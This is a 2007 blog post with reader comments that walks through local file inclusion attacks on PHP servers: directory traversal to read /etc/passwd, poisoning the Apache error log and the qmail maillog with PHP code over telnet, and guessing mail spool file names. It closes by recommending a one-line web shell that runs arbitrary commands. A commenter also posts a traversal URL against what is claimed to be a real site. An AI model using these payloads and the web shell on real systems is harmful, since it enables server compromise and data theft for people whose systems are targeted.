Saturday, August 4, 2007

local file inclusion tricks

I keep on ranting about file inclusion while this is not something we see every day. I promise this will be my last post on this subject for a while :)

First off, if you did no reconnaissance and you don't really know where you are on the file system but you do know where to go, don't worry about the amount of ../ you're using. You can't go beyond the root of the file system, the rest of the ../'s will just be ignored. So if you are in /var/www/vhosts/domain.com/httpdocs and you try to include ../../../../../../../../../../etc/passwd, it will work fine.

Now to actually include some PHP code! There are a few things you can do. Of course you could try to include external files, which would be the easy way to go.. but some administrators turn this feature off in the php.ini.


// ----- 1: apache error_log injection -----
Inject php code in the apache error log.
$ telnet xxx.xxx.xxx.xxx 80
Trying xxx.xxx.xxx.xxx...

Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
GET /< ?php phpinfo(); ? > HTTP/1.0

After that you can include the error log file. The embedde PHP code will be executed. a few places to look for the error log file:
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
etc..


// ----- 2: Malicious image upload -----
When the website allows its users to upload images (like avatars). You could use the method explained in my previous post: "'Safe' remote file inclusion" to upload a malicious image.


// ----- 3: Send e-mail -----
This is actually pretty hard to exploit, although it IS possible. You could of course try to send an e-mail to the web server user (e.g. apache@hostname) and include /var/spool/mail/apache. This method never worked for me, and i don't think any up-to-date linux system supports this 'feature'.

The second method is somewhat elaborate. I will explain it using qmail examples, but most mail servers support this feature.

You will need to include the maillog file. This is often located at /var/log/maillog. Now to inject some php code, look at the following example:

root@test:/# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 hidden.domain.com ESMTP
HELO
250 hidden.domain.com
MAIL FROM: anything < ?phpinfo();? >
250 ok
RCPT TO: non-existing@user.com
250 ok
DATA
354 go ahead
Subject: phpInjectionTest
.
250 ok 1186501618 qp 7063
quit
221 hidden.domain.com
Connection closed by foreign host.
root@test:/# grep phpinfo /var/log/maillog
Aug 7 17:46:59 test qmail: 1186501618.685225 info msg 3903353: bytes 198 from < ?phpinfo();? > qp 7086 uid 2020
Aug 7 17:46:59 test qmail-remote-handlers[7090]: from=?php-phpinfo();?
root@test:/# echo "< ?phpinfo();? >" | php

The above steps are:

  1. Telnet into the mail server.
  2. Fake the sender address: Anything < ?phpinfo();? >. (Spaces are replaced by underscores. So you need to prevent those.)
  3. Look for the phpinfo string in the log file
  4. Test it in PHP
The third method, is to send a real email, to a real user, and include the mail file. This might be a bit hard because you will have to guess the filename. The default location for the qmail files is:
/var/qmail/mailnames/[domain.com]/[user]/Maildir/new/.
And the files look like: 1186501037.4564.server.domain.com. (Meaning [timestamp].[PID].[hostname])

The filename can be guessed using the maillog, the approximate timestamp and PID will show up in this log file. Although its pretty hard to read if you're not familiar with this log format.


// ----- Conclusion -----
There are a lot of cool ways to include PHP snippets on a vulnerable server, the easiest one is to write it to the error_log file. This file is written by the web server, and easily accessible (without the open_basedir restrictions of course).

// ----- What to inject?! -----
The best start is to inject something like:
< ?system($_GET['x']);? >
This allows you to execute any command on the server using the x _GET value. After that you're practically in.

10 comments:

Anonymous said...

Injecting in the error_log? You mean access_log.

Johan Adriaans said...

I do mean error_log. The error log is a lot smaller to include and its easier to get you php strings in there :)

Anonymous said...

1-Does this
< ?system($_GET['x']);? >
Work if the safe mode are set on?!
2-error_log work only with GET methode and if you inject
< ?system($_GET['x']);? >
So you are using the POST methode
Does it work?!
Cheers Chameleon

Johan Adriaans said...

Hi Chameleon,

Yes this should work in safe mode, although only executables in the safe_mode_exec_dir are callable. For a safe mode enabled machine it might be easier to include a remote file (using the error_log injection) and poke around a bit.

Im not really sure what you mean by:
-----
2-error_log work only with GET methode and if you inject
< ?system($_GET['x']);? >
So you are using the POST methode
-----

POST data does not show up in the error log, so.. no, im not using the POST method :)

Anonymous said...

There is no problem about injecting the code :D
< ?system($_GET['x']);? >
but the problem is how to run command ?
i take an example:
i inject with a success the previous code,when i go to the log file of the site i see my code
But when i run this query
[code]
http://site.com/access.log?x=whoami
[/code]
give me a redirection to the access.log
Where do you see the result of your query?
How do you do that?

Cheers Chameleon

Anonymous said...

great tech. cong.

Wireghoul said...

I would recommend that you change your code to , relying on short tags being enabled when 3 additional characters will ensure that your attack don't fail due to short_open_tag=0 in php.ini

Wireghoul said...

Meh @ blogger eating my tags..

You should use < ?php code() ? > to avoid fail!

Anonymous said...

Here is a real example :

http://nhlfs.ch/content.php?file=../../../../etc/passwd

Have fun & Enjoy !

Anonymous said...

If I understand well, the queried file must be rendered in HTML in order to see the injected PHP code executed !
I mean : The browser must not show the download file dialog box, but show the file...
Wow ! Wonderful technique... @dancehall@